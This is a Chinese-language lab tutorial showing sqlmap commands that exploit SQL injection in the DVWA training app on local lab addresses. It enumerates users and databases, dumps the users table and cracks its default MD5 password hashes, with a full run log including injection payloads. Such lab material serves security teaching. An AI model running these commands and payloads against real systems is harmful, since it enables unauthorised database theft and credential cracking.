(3)实战 SQLmap探测DVWA的SQL注入漏洞
DVWA Cookie
PHPSESSID=j4a07r1il0o7kahb07evptvft4
在CentOS6.5(SQLmap(192.168.112.128))中：
实战1：枚举登录MySQL数据的用户名与密码
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' -b --current-db --current-user
实战2：使用命令用来枚举所有登录mysql数据库的用户名和密码hash值，后期可以对密码hash进行破解，生成明文密码
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' --string="Surname" --users --password
实战3：枚举系统中所有的数据库名
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' --dbs
实战4：枚举DVWA数据表
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' -D dvwa --tables
实战5：获取DVWA库中users表的所有列名字
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' -D dvwa -T users --columns
实战6：拖库
sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' -D dvwa -T users -C user,password --dump
实战6：拖库执行情况：
[root@501lilaoshi65 ~]# sqlmap -u "http://192.168.112.100/DVWA-1.9/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie='security=low; PHPSESSID=j4a07r1il0o7kahb07evptvft4' -D dvwa -T users -C user,password --dump
___
__H__
___ ___[']_____ ___ ___ {1.0.10.24#dev}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:10:28
[12:10:29] [INFO] resuming back-end DBMS 'mysql'
[12:10:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: id=2' OR NOT 2561=2561#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 3481 FROM(SELECT COUNT(*),CONCAT(0x716b7a6b71,(SELECT (ELT(3481=3481,1))),0x7178787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MLxX&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2' AND SLEEP(5)-- Rwnu&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=2' UNION ALL SELECT CONCAT(0x716b7a6b71,0x6f52674a596762686d6f6343704464616d554f626d424c4e4f72674d5742634f4468685073565361,0x7178787671),NULL#&Submit=Submit
---
[12:10:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[12:10:29] [INFO] fetching entries of column(s) '`user`, password' for table 'users' in database 'dvwa'
[12:10:29] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[12:10:29] [INFO] the SQL query used returns 5 entries
[12:10:29] [INFO] resumed: "1337","8d3533d75ae2c3966d7e0d4fcc69216b"
[12:10:29] [INFO] resumed: "admin","5f4dcc3b5aa765d61d8327deb882cf99"
[12:10:29] [INFO] resumed: "gordonb","e99a18c428cb38d5f260853678922e03"
[12:10:29] [INFO] resumed: "pablo","0d107d09f5bbe40cade3de5c71e9e9b7"
[12:10:29] [INFO] resumed: "smithy","5f4dcc3b5aa765d61d8327deb882cf99"
[12:10:29] [INFO] analyzing table dump for possible password hashes
[12:10:29] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[12:10:32] [INFO] writing hashes to a temporary file '/tmp/sqlmapVDAf111901/sqlmaphashes-BmDqSj.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[12:10:34] [INFO] using hash method 'md5_generic_passwd'
[12:10:34] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[12:10:34] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[12:10:34] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[12:10:34] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[12:10:34] [INFO] postprocessing table dump
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
[12:10:34] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.112.100/dump/dvwa/users.csv'
[12:10:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.112.100'
[*] shutting down at 12:10:34
[root@501lilaoshi65 ~]#
************************************************************************
sqlmap选项
sqlmap -u "url" --cookie='security=low;PHPSESSID=x' 其他选项
1、-u：指定目标URL，SQL注入点
2、--cookie：设置我们的cookie值
其他选项：
3、-b：获取DBMS banner（DBMS：Database Management System 数据库管理系统）
4、--current-db：获取当前数据库
5、--current-user：获取当前用户
6、--string="Surname"：当查询可用时用来匹配页面中的字符串
7、--users：枚举DBMS用户
8、--password：枚举DBMS用户密码hash
9、--dbs: 枚举DBMS中的所有数据库【库】
10、--tables：枚举DBMS数据库中的所有数据表【表】
11、--columns：枚举DBMS数据库表中的所有列【列】
12、-D dvwa：要枚举的DBMS数据库dvwa【库】
13、-T users：要枚举的DBMS数据表users【表】
14、-C user,password：要枚举的DBMS数据表中的列user,password【列】
--dump：转储DBMS数据表项
************************************************************************
